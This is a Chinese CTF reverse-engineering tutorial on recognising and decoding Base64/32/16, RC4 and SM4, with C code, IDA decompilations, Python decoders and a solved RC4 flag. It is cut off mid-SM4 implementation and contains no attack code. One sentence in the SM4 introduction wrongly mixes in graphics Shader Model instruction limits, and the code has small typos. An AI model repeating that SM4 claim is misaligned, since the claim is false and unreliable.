6位 010011 01
补零 00010011 00010000
进制 19 16
对照 T Q = =

M -> TQ==

实现

最上面的base64char索引表可以自定义,这里用c实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
#include <stdio.h>
#include <string.h>

// 全局常量定义
const char * base64char = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
const char padding_char = '=';

/*编码代码
* const unsigned char * sourcedata, 源数组
* char * base64 ,码字保存
*/
int base64_encode(const unsigned char * sourcedata, char * base64)
{
int i = 0, j = 0;
unsigned char trans_index = 0; // 索引是8位,但是高两位都为0
const int datalength = strlen((const char*)sourcedata);
for (; i < datalength; i += 3){
// 每三个一组,进行编码
// 要编码的数字的第一个
trans_index = ((sourcedata[i] >> 2) & 0x3f);
base64[j++] = base64char[(int)trans_index];
// 第二个
trans_index = ((sourcedata[i] << 4) & 0x30);
if (i + 1 < datalength){
trans_index |= ((sourcedata[i + 1] >> 4) & 0x0f);
base64[j++] = base64char[(int)trans_index];
}
else{
base64[j++] = base64char[(int)trans_index];

base64[j++] = padding_char;

base64[j++] = padding_char;

break; // 超出总长度,可以直接break
}
// 第三个
trans_index = ((sourcedata[i + 1] << 2) & 0x3c);
if (i + 2 < datalength){ // 有的话需要编码2个
trans_index |= ((sourcedata[i + 2] >> 6) & 0x03);
base64[j++] = base64char[(int)trans_index];

trans_index = sourcedata[i + 2] & 0x3f;
base64[j++] = base64char[(int)trans_index];
}
else{
base64[j++] = base64char[(int)trans_index];

base64[j++] = padding_char;

break;
}
}

base64[j] = '\0';

return 0;
}

/** 在字符串中查询特定字符位置索引
* const char *str ,字符串
* char c,要查找的字符
*/
int num_strchr(const char *str, char c) //
{
const char *pindex = strchr(str, c);
if (NULL == pindex){
return -1;
}
return pindex - str;
}
/* 解码
* const char * base64 码字
* unsigned char * dedata, 解码恢复的数据
*/
int base64_decode(const char * base64, unsigned char * dedata)
{
int i = 0, j = 0;
int trans[4] = { 0, 0, 0, 0 };
for (; base64[i] != '\0'; i += 4){
// 每四个一组,译码成三个字符
trans[0] = num_strchr(base64char, base64[i]);
trans[1] = num_strchr(base64char, base64[i + 1]);
// 1/3
dedata[j++] = ((trans[0] << 2) & 0xfc) | ((trans[1] >> 4) & 0x03);

if (base64[i + 2] == '='){
continue;
}
else{
trans[2] = num_strchr(base64char, base64[i + 2]);
}
// 2/3
dedata[j++] = ((trans[1] << 4) & 0xf0) | ((trans[2] >> 2) & 0x0f);

if (base64[i + 3] == '='){
continue;
}
else{
trans[3] = num_strchr(base64char, base64[i + 3]);
}

// 3/3
dedata[j++] = ((trans[2] << 6) & 0xc0) | (trans[3] & 0x3f);
}

dedata[j] = '\0';

return 0;
}

// 测试
int main()
{
const unsigned char str[] = "a45rbcd";
const unsigned char *sourcedata = str;
char base64[128];
base64_encode(sourcedata, base64);

printf("编码:%s\n", base64);

char dedata[128];

base64_decode(base64, (unsigned char*)dedata);

printf("译码:%s", dedata);

getchar();
getchar();
return 0;
}

输入如下

1
2
3
4
5
C:\Users\thunder>"D:\AlgorithmTest.exe"
编码:YTQ1cmJjZA==
译码:a45rbcd

C:\Users\thunder>

上面的代码是base64加密和解密字符串a45rbcd我们用IDA查看,base64char即是我们的索引表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
int __cdecl base64_encode(const char *sourcedata, char *base64)
{
int v2; // STEC_4
int v3; // STEC_4
int v4; // STEC_4
signed int datalength; // [esp+D0h] [ebp-2Ch]
unsigned __int8 trans_index; // [esp+DFh] [ebp-1Dh]
unsigned __int8 trans_indexa; // [esp+DFh] [ebp-1Dh]
int j; // [esp+E8h] [ebp-14h]
int ja; // [esp+E8h] [ebp-14h]
int jb; // [esp+E8h] [ebp-14h]
int i; // [esp+F4h] [ebp-8h]

i = 0;
j = 0;
datalength = j__strlen(sourcedata);
while ( i < datalength )
{
base64[j] = base64char[((signed int)(unsigned __int8)sourcedata[i] >> 2) & 0x3F]; # 右移
ja = j + 1;
trans_index = 16 * sourcedata[i] & 0x30;
if ( i + 1 >= datalength )
{
base64[ja] = base64char[trans_index];
v2 = ja + 1;
base64[v2++] = padding_char;
base64[v2] = padding_char;
j = v2 + 1;
break;
}
base64[ja] = base64char[((signed int)(unsigned __int8)sourcedata[i + 1] >> 4) & 0xF | trans_index]; # 右移
jb = ja + 1;
trans_indexa = 4 * sourcedata[i + 1] & 0x3C;
if ( i + 2 >= datalength )
{
base64[jb] = base64char[trans_indexa];
v4 = jb + 1;
base64[v4] = padding_char;
j = v4 + 1;
break;
}
base64[jb] = base64char[((signed int)(unsigned __int8)sourcedata[i + 2] >> 6) & 3 | trans_indexa]; # 右移
v3 = jb + 1;
base64[v3] = base64char[sourcedata[i + 2] & 0x3F];
j = v3 + 1;
i += 3;
}
base64[j] = 0;
return 0;
}

辨别

其实辨别很简单,有很多的方法,最简单的方法就是动态调试,直接用OD或者IDA动态调试,多输入几组数据,观察加密后的字符串,存在=这种字符串多半都有base64加密。 如果不能动态调试那就用IDA静态观察,观察索引表,观察对输入的操作,比如上面很明显的三次右移操作。

解密

一般解密用python来实现

1
2
3
4
5
6
7
import base64
s = 'key' # 要加密的字符串
a = base64.b64encode(s) # 加密

print a

print base64.b64decode(a) # 解密

在线解密网站 : https://www.qqxiuzi.cn/bianma/base.php

CTF参考例题

DDCTF2019 Reverse2

0x02:Base32

原理

Base32编码是使用32个可打印字符(字母A-Z和数字2-7)对任意字节数据进行编码的方案,编码后的字符串不用区分大小写并排除了容易混淆的字符,可以方便地由人类使用并由计算机处理。

符号符号符号符号
0A8I16Q24Y
1B9J17R25Z
2C10K18S262
3D11L19T273
4E12M20U284
5F13N21V295
6G14O22W306
7H15P23X317
填充=

Base32将任意字符串按照字节进行切分,并将每个字节对应的二进制值(不足8比特高位补0)串联起来,按照5比特一组进行切分,并将每组二进制值转换成十进制来对应32个可打印字符中的一个。

由于数据的二进制传输是按照8比特一组进行(即一个字节),因此Base32按5比特切分的二进制数据必须是40比特的倍数(5和8的最小公倍数)。例如输入单字节字符“%”,它对应的二进制值是“100101”,前面补两个0变成“00100101”(二进制值不足8比特的都要在高位加0直到8比特),从左侧开始按照5比特切分成两组:“00100”和“101”,后一组不足5比特,则在末尾填充0直到5比特,变成“00100”和“10100”,这两组二进制数分别转换成十进制数,通过上述表格即可找到其对应的可打印字符“E”和“U”,但是这里只用到两组共10比特,还差30比特达到40比特,按照5比特一组还需6组,则在末尾填充6个“=”。填充“=”符号的作用是方便一些程序的标准化运行,大多数情况下不添加也无关紧要,而且,在URL中使用时必须去掉“=”符号。

与Base64相比,Base32具有许多优点:

  • 适合不区分大小写的文件系统,更利于人类口语交流或记忆。
  • 结果可以用作文件名,因为它不包含路径分隔符 “/”等符号。
  • 排除了视觉上容易混淆的字符,因此可以准确的人工录入。(例如,RFC4648符号集忽略了数字“1”、“8”和“0”,因为它们可能与字母“I”,“B”和“O”混淆)。
  • 排除填充符号“=”的结果可以包含在URL中,而不编码任何字符。

Base32也比Base16有优势:

  • Base32比Base16占用的空间更小。(1000比特数据Base32需要200个字符,而Base16则为250个字符)

Base32的缺点:

  • Base32比Base64多占用大约20%的空间。因为Base32使用8个ASCII字符去编码原数据中的5个字节数据,而Base64是使用4个ASCII字符去编码原数据中的3个字节数据。

解密

1
2
3
4
5
6
7
import base64
s = 'key' # 要加密的字符串
a = base64.b32encode(s) # 加密

print a

print base64.b32decode(a) # 解密

在线网站 : https://www.qqxiuzi.cn/bianma/base.php

CTF参考例题

2017第二届广东省强网杯线上赛 Nonstandard

0x03:Base16

原理

Base16编码使用16个ASCII可打印字符(数字0-9和字母A-F)对任意字节数据进行编码。Base16先获取输入字符串每个字节的二进制值(不足8比特在高位补0),然后将其串联进来,再按照4比特一组进行切分,将每组二进制数分别转换成十进制,在下述表格中找到对应的编码串接起来就是Base16编码。可以看到8比特数据按照4比特切分刚好是两组,所以Base16不可能用到填充符号“=”。

Base16编码后的数据量是原数据的两倍:1000比特数据需要250个字符(即 250*8=2000 比特)。换句话说:Base16使用两个ASCII字符去编码原数据中的一个字节数据。

编码编码
0088
1199
2210A
3311B
4412C
5513D
6614E
7715F

Base16编码是一个标准的十六进制字符串(注意是字符串而不是数值),更易被人类和计算机使用,因为它并不包含任何控制字符,以及Base64和Base32中的“=”符号。输入的非ASCII字符,使用UTF-8字符集。

解密

1
2
3
4
5
6
7
import base64
s = 'key' # 要加密的字符串
a = base64.b16encode(s) # 加密

print a

print base64.b16decode(a) # 解密

在线网站 : https://www.qqxiuzi.cn/bianma/base.php

0x02:RC4

原理

在密码学中,RC4(来自Rivest Cipher 4的缩写)是一种流加密算法,密钥长度可变。它加解密使用相同的密钥,因此也属于对称加密算法。RC4是有线等效加密(WEP)中采用的加密算法,也曾经是TLS可采用的算法之一。

加密过程

参数作用
S-box(S)256长度的char型数组,定义为: unsigned char sBox[256]
Key(K)自定义的密钥,用来打乱 S-box
pData用来加密的数据
  1. 初始化 S (256字节的char型数组),key 是我们自定义的密钥,用来打乱 S ,i 确保 S-box 的每个元素都得到处理, j 保证 S-box 的搅乱是随机的

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    /*初始化函数*/
    void rc4_init(unsigned char*s, unsigned char*key, unsigned long Len)
    {
    int i = 0, j = 0;
    char k[256] = { 0 };
    unsigned char tmp = 0;
    for (i = 0; i < 256; i++)
    {
    s[i] = i; // 赋值 S
    k[i] = key[i%Len]; // 赋值 K
    }
    for (i = 0; i < 256; i++)
    {
    j = (j + s[i] + k[i]) % 256; // 开始混淆
    tmp = s[i];
    s[i] = s[j]; // 交换s[i]和s[j]
    s[j] = tmp;
    }
    }
  2. 加密过程将 S-box 和明文进行 xor 运算,得到密文,解密过程也完全相同

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    /*加解密*/
    void rc4_crypt(unsigned char*s, unsigned char*Data, unsigned long Len)
    {
    int i = 0, j = 0, t = 0;
    unsigned long k = 0;
    unsigned char tmp;
    for (k = 0; k < Len; k++)
    {
    i = (i + 1) % 256;
    j = (j + s[i]) % 256;
    tmp = s[i];
    s[i] = s[j]; // 交换s[x]和s[y]
    s[j] = tmp;
    t = (s[i] + s[j]) % 256;
    Data[k] ^= s[t];
    }
    }

实现

下面是 C 实现的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#include<stdio.h>
#include<string.h>
typedef unsigned longULONG;

/*初始化函数*/
void rc4_init(unsigned char*s, unsigned char*key, unsigned long Len)
{
int i = 0, j = 0;
char k[256] = { 0 };
unsigned char tmp = 0;
for (i = 0; i < 256; i++)
{
s[i] = i;
k[i] = key[i%Len];
}
for (i = 0; i < 256; i++)
{
j = (j + s[i] + k[i]) % 256;
tmp = s[i];
s[i] = s[j]; // 交换s[i]和s[j]
s[j] = tmp;
}
}

/*加解密*/
void rc4_crypt(unsigned char*s, unsigned char*Data, unsigned long Len)
{
int i = 0, j = 0, t = 0;
unsigned long k = 0;
unsigned char tmp;
for (k = 0; k < Len; k++)
{
i = (i + 1) % 256;
j = (j + s[i]) % 256;
tmp = s[i];
s[i] = s[j]; // 交换s[x]和s[y]
s[j] = tmp;
t = (s[i] + s[j]) % 256;
Data[k] ^= s[t];
}
}

int main()
{
unsigned char s[256] = { 0 }, s2[256] = { 0 }; // S-box
char key[256] = { "justfortest" };
char pData[512] = "这是一个用来加密的数据Data";
unsigned long len = strlen(pData);
int i;

printf("pData=%s\n", pData);
printf("key=%s,length=%d\n\n", key, strlen(key));
rc4_init(s, (unsigned char*)key, strlen(key)); // 已经完成了初始化
printf("完成对S[i]的初始化,如下:\n\n");
for (i = 0; i < 256; i++)
{
printf("%02X", s[i]);
if (i && (i + 1) % 16 == 0)putchar('\n');
}
printf("\n\n");
for (i = 0; i < 256; i++) // 用s2[i]暂时保留经过初始化的s[i],很重要的!!!
{
s2[i] = s[i];
}
printf("已经初始化,现在加密:\n\n");
rc4_crypt(s, (unsigned char*)pData, len); // 加密
printf("pData=%s\n\n", pData);
printf("已经加密,现在解密:\n\n");
rc4_crypt(s2, (unsigned char*)pData, len); // 解密
printf("pData=%s\n\n", pData);
return 0;
}

运行结果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
C:\Users\thunder>"D:\AlgorithmTest.exe"
pData=这是一个用来加密的数据Data
key=justfortest,length=11

完成对S[i]的初始化,如下:

21E0944A8CAA5C851A95374358840E32
EE3AF7C8F67F898BFF52235F3B51CAE6
31E2A570C698C046CE836EB91EBC9235
FD6B1CB62C2D69B565631B933EA60762
13EAE7775BA159DD745491C181B7FB49
66037D2E47331538F8A820AE22D2345A
64FA3F87714DFCBF2490D32ADF9EB85E
0A2780E40CAD1497E3D8C7F2F4424176
DC8D45A9789DE1B0D9044F0F36C3C5BE
4C7AEB6C4B8640E59A7919B39BABAFE8
C4AC8EFE963CEDEF0B091202BAB1D001
CB60D4F91D557BCC7544D750F17E67C9
88DB111826F0B299B4BB482BA41FF58A
C2E9A0CF5DDA6FCD57003D0830A2A316
9F0D6AF36D682F8FBD28A7DE4ED15373
7C2956D51706058225EC617210399CD6


已经初始化,现在加密:

pData=?獤 5Ws?g&W鋟覈?T?

已经加密,现在解密:

pData=这是一个用来加密的数据Data


C:\Users\thunder>

上面的代码是rc4加密字符串这是一个用来加密的数据Data,key = justfortest,我们放入IDA观察,初始化函数如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void __cdecl rc4_init(char *s, char *key, unsigned int Len)
{
char tmp; // STDF_1
char k[256]; // [esp+DCh] [ebp-120h]
int j; // [esp+1E4h] [ebp-18h]
int i; // [esp+1F0h] [ebp-Ch]

j = 0;
k[0] = 0;
j__memset(&k[1], 0, 0xFFu);
for ( i = 0; i < 256; ++i )
{
s[i] = i;
k[i] = key[i % Len];
}
for ( i = 0; i < 256; ++i )
{
j = (k[i] + j + (unsigned __int8)s[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
}
}

加密函数如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void __cdecl rc4_crypt(char *s, char *Data, unsigned int Len)
{
char tmp; // STD3_1
unsigned int k; // [esp+DCh] [ebp-2Ch]
int j; // [esp+F4h] [ebp-14h]
int i; // [esp+100h] [ebp-8h]

i = 0;
j = 0;
for ( k = 0; k < Len; ++k )
{
i = (i + 1) % 256;
j = (j + (unsigned __int8)s[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
Data[k] ^= s[((unsigned __int8)s[j] + (unsigned __int8)s[i]) % 256];
}
}

辨别

从IDA中可以看到有很多的 %256 操作,因为 s 盒的长度为256,所以这里很好判断,如果在CTF逆向过程中看到有多次 %256 的操作最后又有异或的话那可以考虑是否是RC4密码

解密

python实现如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
# -*- coding: utf-8 -*-
import random, base64
from hashlib import sha1

def crypt(data, key):
"""RC4 algorithm"""
x = 0
box = range(256)
for i in range(256):
x = (x + box[i] + ord(key[i % len(key)])) % 256
box[i], box[x] = box[x], box[i]
x = y = 0
out = []
for char in data:
x = (x + 1) % 256
y = (y + box[x]) % 256
box[x], box[y] = box[y], box[x]
out.append(chr(ord(char) ^ box[(box[x] + box[y]) % 256]))

return ''.join(out)


def tencode(data, key, encode=base64.b64encode, salt_length=16):
"""RC4 encryption with random salt and final encoding"""
salt = ''
for n in range(salt_length):
salt += chr(random.randrange(256))
data = salt + crypt(data, sha1(key + salt).digest())
if encode:
data = encode(data)
return data


def tdecode(data, key, decode=base64.b64decode, salt_length=16):
"""RC4 decryption of encoded data"""
if decode:
data = decode(data)
salt = data[:salt_length]
return crypt(data[salt_length:], sha1(key + salt).digest())


if __name__ == '__main__':
# 需要解密的数据
data = 'UUyFTj8PCzF6geFn6xgBOYSvVTrbpNU4OF9db9wMcPD1yDbaJw=='
# 密钥
key = 'welcometoicqedu'
# 解码
decoded_data = tdecode(data=data, key=key)
print("明文是:")
print decoded_data

输出如下

1
2
3
4
5
[Running] python -u "/home/thunder/Desktop/CTF/crypt/example/rc4_example/test.py"
明文是:
flag{rc4_l_keepgoing}

[Done] exited with code=0 in 0.14 seconds

在线解密网站:https://www.sojson.com/encrypt_rc4.html

0x03:SM4

介绍

SM4.0(原名SMS4.0)是中华人民共和国政府采用的一种分组密码标准,由国家密码管理局于2012年3月21日发布。相关标准为“GM/T 0002-2012《SM4分组密码算法》(原SMS4分组密码算法)”。在商用密码体系中,SM4主要用于数据加密,其算法公开,分组长度与密钥长度均为128bit,加密算法与密钥扩展算法都采用32轮非线性迭代结构,S盒为固定的8比特输入8比特输出。SM4.0中的指令长度被提升到大于64K(即64×1024)的水平,这是SM 3.0规格(渲染指令长度允许大于512)的128倍。

加密过程

这里我简要介绍一下SM4算法,详细的过程可以查看参考链接,首先我们要知道SM4是一个对称加密算法,也就是说加密和解密的密钥相同,首先我们要清楚下面几个概念

  • SM4是分组密码,所以我们要将明文分组,将明文分成128位一组

    1

  • S(Sbox)盒负责置换我们的明文

    2

  • 因为SM4面向的是32bit的字(word),S盒处理的是两个16进制数也就是8bit的字节,所以我们要用4个S盒来置换

    3

  • 轮函数F的概念如下图,以字为单位进行加密运算,称一次迭代运算为一轮变换

    4

  • 合成置换T就是非线性变换和线性变换的一个组合过程

    5

了解上述一些概念之后加密解密的过程如下图

6

在SM4算法中,轮秘钥的产生是通过用户选择主秘钥作为基本的秘钥数据,在通过一些算法生成轮秘钥,在密钥拓展中,我们通过一些常数对用户选择的主钥进行操作,增大随机性。密钥扩展算法如下

7

实现

代码出自这里

sm4.c加密解密函数的实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
// sm4.c
// Test vector 1
// plain: 01 23 45 67 89 ab cd ef fe dc ba 98 76 54 32 10
// key: 01 23 45 67 89 ab cd ef fe dc ba 98 76 54 32 10
// round key and temp computing result:
// rk[ 0] = f12186f9 X[ 0] = 27fad345
// rk[ 1] = 41662b61 X[ 1] = a18b4cb2
// rk[ 2] = 5a6ab19a X[ 2] = 11c1e22a
// rk[ 3] = 7ba92077 X[ 3] = cc13e2ee
// rk[ 4] = 367360f4 X[ 4] = f87c5bd5
// rk[ 5] = 776a0c61 X[ 5] = 33220757
// rk[ 6] = b6bb89b3 X[ 6] = 77f4c297
// rk[ 7] = 24763151 X[ 7] = 7a96f2eb
// rk[ 8] = a520307c X[ 8] = 27dac07f
// rk[ 9] = b7584dbd X[ 9] = 42dd0f19
// rk[10] = c30753ed X[10] = b8a5da02
// rk[11] = 7ee55b57 X[11] = 907127fa
// rk[12] = 6988608c X[12] = 8b952b83
// rk[13] = 30d895b7 X[13] = d42b7c59
// rk[14] = 44ba14af X[14] = 2ffc5831
// rk[15] = 104495a1 X[15] = f69e6888
// rk[16] = d120b428 X[16] = af2432c4
// rk[17] = 73b55fa3 X[17] = ed1ec85e
// rk[18] = cc874966 X[18] = 55a3ba22
// rk[19] = 92244439 X[19] = 124b18aa
// rk[20] = e89e641f X[20] = 6ae7725f
// rk[21] = 98ca015a X[21] = f4cba1f9
// rk[22] = c7159060 X[22] = 1dcdfa10
// rk[23] = 99e1fd2e X[23] = 2ff60603
// rk[24] = b79bd80c X[24] = eff24fdc
// rk[25] = 1d2115b0 X[25] = 6fe46b75
// rk[26] = 0e228aeb X[26] = 893450ad
// rk[27] = f1780c81 X[27] = 7b938f4c
// rk[28] = 428d3654 X[28] = 536e4246
// rk[29] = 62293496 X[29] = 86b3e94f
// rk[30] = 01cf72e5 X[30] = d206965e
// rk[31] = 9124a012 X[31] = 681edf34
// cypher: 68 1e df 34 d2 06 96 5e 86 b3 e9 4f 53 6e 42 46
//
// test vector 2
// the same key and plain 1000000 times coumpting
// plain: 01 23 45 67 89 ab cd ef fe dc ba 98 76 54 32 10
// key: 01 23 45 67 89 ab cd ef fe dc ba 98 76 54 32 10
// cypher: 59 52 98 c7 c6 fd 27 1f 04 02 f8 04 c3 3d 3f 66

#include "sm4.h"
#include <string.h>
#include <stdio.h>

/*
* 32-bit integer manipulation macros (big endian)
*/
#ifndef GET_ULONG_BE
#define GET_ULONG_BE(n,b,i) \
{ \
(n) = ( (unsigned long) (b)[(i) ] << 24 ) \
| ( (unsigned long) (b)[(i) + 1] << 16 ) \
| ( (unsigned long) (b)[(i) + 2] << 8 ) \
| ( (unsigned long) (b)[(i) + 3] ); \
}
#endif

#ifndef PUT_ULONG_BE
#define PUT_ULONG_BE(n,b,i) \
{ \
(b)[(i) ] = (unsigned char) ( (n) >> 24 ); \
(b)[(i) + 1] = (unsigned char) ( (n) >> 16 ); \
(b)[(i) + 2] = (unsigned char) ( (n) >> 8 ); \
(b)[(i) + 3] = (unsigned char) ( (n) ); \
}
#endif

/*
*rotate shift left marco definition
*
*/
#define SHL(x,n) (((x) & 0xFFFFFFFF) << n)
#define ROTL(x,n) (SHL((x),n) | ((x) >> (32 - n)))

#define SWAP(a,b) { unsigned long t = a; a = b; b = t; t = 0; }

/*
* Expanded SM4 S-boxes
/* Sbox table: 8bits input convert to 8 bits output*/

static const unsigned char SboxTable[16][16] =
{
{ 0xd6, 0x90, 0xe9, 0xfe, 0xcc, 0xe1, 0x3d, 0xb7, 0x16, 0xb6, 0x14, 0xc2, 0x28, 0xfb, 0x2c, 0x05 },
{ 0x2b, 0x67, 0x9a, 0x76, 0x2a, 0xbe, 0x04, 0xc3, 0xaa, 0x44, 0x13, 0x26, 0x49, 0x86, 0x06, 0x99 },
{ 0x9c, 0x42, 0x50, 0xf4, 0x91, 0xef, 0x98, 0x7a, 0x33, 0x54, 0x0b, 0x43, 0xed, 0xcf, 0xac, 0x62 },
{ 0xe4, 0xb3, 0x1c, 0xa9, 0xc9, 0x08, 0xe8, 0x95, 0x80, 0xdf, 0x94, 0xfa, 0x75, 0x8f, 0x3f, 0xa6 },
{ 0x47, 0x07, 0xa7, 0xfc, 0xf3, 0x73, 0x17, 0xba, 0x83, 0x59, 0x3c, 0x19, 0xe6, 0x85, 0x4f, 0xa8 },
{ 0x68, 0x6b, 0x81, 0xb2, 0x71, 0x64, 0xda, 0x8b, 0xf8, 0xeb, 0x0f, 0x4b, 0x70, 0x56, 0x9d, 0x35 },
{ 0x1e, 0x24, 0x0e, 0x5e, 0x63, 0x58, 0xd1, 0xa2, 0x25, 0x22, 0x7c, 0x3b, 0x01, 0x21, 0x78, 0x87 },
{ 0xd4, 0x00, 0x46, 0x57, 0x9f, 0xd3, 0x27, 0x52, 0x4c, 0x36, 0x02, 0xe7, 0xa0, 0xc4, 0xc8, 0x9e },
{ 0xea, 0xbf, 0x8a, 0xd2, 0x40, 0xc7, 0x38, 0xb5, 0xa3, 0xf7, 0xf2, 0xce, 0xf9, 0x61, 0x15, 0xa1 },
{ 0xe0, 0xae, 0x5d, 0xa4, 0x9b, 0x34, 0x1a, 0x55, 0xad, 0x93, 0x32, 0x30, 0xf5, 0x8c, 0xb1, 0xe3 },
{ 0x1d, 0xf6, 0xe2, 0x2e, 0x82, 0x66, 0xca, 0x60, 0xc0, 0x29, 0x23, 0xab, 0x0d, 0x53, 0x4e, 0x6f },
{ 0xd5, 0xdb, 0x37, 0x45, 0xde, 0xfd, 0x8e, 0x2f, 0x03, 0xff, 0x6a, 0x72, 0x6d, 0x6c, 0x5b, 0x51 },
{ 0x8d, 0x1b, 0xaf, 0x92, 0xbb, 0xdd, 0xbc, 0x7f, 0x11, 0xd9, 0x5c, 0x41, 0x1f, 0x10, 0x5a, 0xd8 },
{ 0x0a, 0xc1, 0x31, 0x88, 0xa5, 0xcd, 0x7b, 0xbd, 0x2d, 0x74, 0xd0, 0x12, 0xb8, 0xe5, 0xb4, 0xb0 },
{ 0x89, 0x69, 0x97, 0x4a, 0x0c, 0x96, 0x77, 0x7e, 0x65, 0xb9, 0xf1, 0x09, 0xc5, 0x6e, 0xc6, 0x84 },
{ 0x18, 0xf0, 0x7d, 0xec, 0x3a, 0xdc, 0x4d, 0x20, 0x79, 0xee, 0x5f, 0x3e, 0xd7, 0xcb, 0x39, 0x48 }
};

/* System parameter */
static const unsigned long FK[4] = { 0xa3b1bac6, 0x56aa3350, 0x677d9197, 0xb27022dc };

/* fixed parameter */
static const unsigned long CK[32] =
{
0x00070e15, 0x1c232a31, 0x383f464d, 0x545b6269,
0x70777e85, 0x8c939aa1, 0xa8afb6bd, 0xc4cbd2d9,
0xe0e7eef5, 0xfc030a11, 0x181f262d, 0x343b4249,
0x50575e65, 0x6c737a81, 0x888f969d, 0xa4abb2b9,
0xc0c7ced5, 0xdce3eaf1, 0xf8ff060d, 0x141b2229,
0x30373e45, 0x4c535a61, 0x686f767d, 0x848b9299,
0xa0a7aeb5, 0xbcc3cad1, 0xd8dfe6ed, 0xf4fb0209,
0x10171e25, 0x2c333a41, 0x484f565d, 0x646b7279
};


/*
* private function:
* look up in SboxTable and get the related value.
* args: [in] inch: 0x00~0xFF (8 bits unsigned value).
*/
static unsigned char sm4Sbox(unsigned char inch)
{
unsigned char *pTable = (unsigned char *)SboxTable;
unsigned char retVal = (unsigned char)(pTable[inch]);
return retVal;
}

/*
* private F(Lt) function:
* "T algorithm" == "L algorithm" + "t algorithm".
* args: [in] a: a is a 32 bits unsigned value;
* return: c: c is calculated with line algorithm "L" and nonline algorithm "t"
*/
static unsigned long sm4Lt(unsigned long ka)
{
unsigned long bb = 0;
unsigned long c = 0;
unsigned char a[4];
unsigned char b[4];
PUT_ULONG_BE(ka, a, 0)
b[0] = sm4Sbox(a[0]);
b[1] = sm4Sbox(a[1]);
b[2] = sm4Sbox(a[2]);
b[3] = sm4Sbox(a[3]);
GET_ULONG_BE(bb, b, 0)
c = bb ^ (ROTL(bb, 2)) ^ (ROTL(bb, 10)) ^ (ROTL(bb, 18)) ^ (ROTL(bb, 24));
return c;
}

/*
* private F function:
* Calculating and getting encryption/decryption contents.
* args: [in] x0: original contents;
* args: [in] x1: original contents;
* args: [in] x2: original contents;
* args: [in] x3: original contents;
* args: [in] rk: encryption/decryption key;
* return the contents of encryption/decryption contents.
*/
static unsigned long sm4F(unsigned long x0, unsigned long x1, unsigned long x2, unsigned long x3, unsigned long rk)
{
return (x0^sm4Lt(x1^x2^x3^rk));
}


/* private function:
* Calculating round encryption key.
* args: [in] a: a is a 32 bits unsigned value;
* return: sk[i]: i{0,1,2,3,...31}.
*/
static unsigned long sm4CalciRK(unsigned long ka)
{
unsigned long bb = 0;
unsigned long rk = 0;
unsigned char a[4];
unsigned char b[4];
PUT_ULONG_BE(ka, a, 0)
b[0] = sm4Sbox(a[0]);
b[1] = sm4Sbox(a[1]);
b[2] = sm4Sbox(a[2]);
b[3] = sm4Sbox(a[3]);
GET_ULONG_BE(bb, b, 0)
rk = bb ^ (ROTL(bb, 13)) ^ (ROTL(bb, 23));
return rk;
}

static void sm4_setkey(unsigned long SK[32], unsigned char key[16])
{
unsigned long MK[4];
unsigned long k[36];
unsigned long i = 0;

GET_ULONG_BE(MK[0], key, 0);
GET_ULONG_BE(MK[1], key, 4);
GET_ULONG_BE(MK[2], key, 8);
GET_ULONG_BE(MK[3], key, 12);
k[0] = MK[0] ^ FK[0];
k[1] = MK[1] ^ FK[1];
k[2] = MK[2] ^ FK[2];
k[3] = MK[3] ^ FK[3];
for (; i<32; i++)
{
